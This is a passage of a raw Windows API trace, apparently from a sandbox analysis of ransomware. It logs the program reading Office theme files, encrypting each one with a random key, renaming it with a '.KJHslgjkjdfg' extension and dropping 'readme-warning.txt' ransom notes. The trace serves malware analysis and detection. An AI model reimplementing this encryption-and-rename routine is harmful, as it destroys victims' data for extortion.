dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.159] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.159] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.159] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.159] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.159] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7eb1, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x7eb1, lpOverlapped=0x0) returned 1 [0173.160] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7ec0, dwBufLen=0x7ec0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7ec0) returned 1 [0173.160] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.160] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x7ec0, lpOverlapped=0x0) returned 1 [0173.161] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.161] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.161] SetEndOfFile (hFile=0x12c) returned 1 [0173.164] GetProcessHeap () returned 0x2ef0000 [0173.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.164] GetProcessHeap () returned 0x2ef0000 [0173.164] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0173.170] CloseHandle (hObject=0x12c) returned 1 [0173.170] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0173.170] GetProcessHeap () returned 0x2ef0000 [0173.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.170] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.170] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0173.170] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.170] GetProcessHeap () returned 0x2ef0000 [0173.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0173.171] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.171] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0173.171] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.171] GetProcessHeap () returned 0x2ef0000 [0173.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f11d10 [0173.171] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.171] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11d10, pdwDataLen=0x4dfee20 | out: pbData=0x2f11d10, pdwDataLen=0x4dfee20) returned 1 [0173.171] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.171] GetProcessHeap () returned 0x2ef0000 [0173.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0173.171] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.171] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0173.171] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.171] GetProcessHeap () returned 0x2ef0000 [0173.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.171] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.171] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0173.171] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.171] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0173.172] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0173.172] RegCloseKey (hKey=0x12c) returned 0x0 [0173.172] GetProcessHeap () returned 0x2ef0000 [0173.172] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0173.172] GetProcessHeap () returned 0x2ef0000 [0173.172] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.172] GetProcessHeap () returned 0x2ef0000 [0173.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.172] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.172] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0173.172] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.172] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0173.172] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.172] GetProcessHeap () returned 0x2ef0000 [0173.172] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.172] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0173.173] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0173.173] GetProcessHeap () returned 0x2ef0000 [0173.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3e278 [0173.173] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\readme-warning.txt") returned 83 [0173.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.173] WriteFile (in: hFile=0x12c, lpBuffer=0x2f3e278*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f3e278*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.175] CloseHandle (hObject=0x12c) returned 1 [0173.175] GetProcessHeap () returned 0x2ef0000 [0173.175] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0173.175] GetProcessHeap () returned 0x2ef0000 [0173.175] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0173.175] GetProcessHeap () returned 0x2ef0000 [0173.175] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0173.175] GetProcessHeap () returned 0x2ef0000 [0173.175] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.175] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0173.176] GetProcessHeap () returned 0x2ef0000 [0173.176] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0173.176] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0173.176] GetProcessHeap () returned 0x2ef0000 [0173.176] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0173.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0173.176] GetProcessHeap () returned 0x2ef0000 [0173.176] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0173.176] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.176] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0173.176] GetProcessHeap () returned 0x2ef0000 [0173.176] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f14588 [0173.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.177] GetProcessHeap () returned 0x2ef0000 [0173.177] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.177] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.177] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.178] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0173.180] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.180] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.180] GetProcessHeap () returned 0x2ef0000 [0173.180] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.180] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.180] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.180] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.180] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.180] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.180] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.180] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.181] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.181] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.181] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.181] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x19539, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x19539, lpOverlapped=0x0) returned 1 [0173.184] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x19540, dwBufLen=0x19540 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x19540) returned 1 [0173.185] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.185] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x19540, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x19540, lpOverlapped=0x0) returned 1 [0173.186] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.186] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x19614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.186] SetEndOfFile (hFile=0x12c) returned 1 [0173.190] GetProcessHeap () returned 0x2ef0000 [0173.190] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.190] GetProcessHeap () returned 0x2ef0000 [0173.190] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.kjhslgjkjdfg")) returned 1 [0173.193] CloseHandle (hObject=0x12c) returned 1 [0173.193] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0173.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.197] GetProcessHeap () returned 0x2ef0000 [0173.197] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.197] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.197] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.197] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0173.199] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.199] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.199] GetProcessHeap () returned 0x2ef0000 [0173.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.199] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.199] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.199] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.199] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.200] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.200] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.200] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.200] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.200] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.200] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.200] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.200] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x255, lpOverlapped=0x0) returned 1 [0173.200] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x260, dwBufLen=0x260 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x260) returned 1 [0173.200] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.200] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x260, lpOverlapped=0x0) returned 1 [0173.201] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.201] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.201] SetEndOfFile (hFile=0x12c) returned 1 [0173.203] GetProcessHeap () returned 0x2ef0000 [0173.203] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.203] GetProcessHeap () returned 0x2ef0000 [0173.203] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.kjhslgjkjdfg")) returned 1 [0173.207] CloseHandle (hObject=0x12c) returned 1 [0173.207] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, 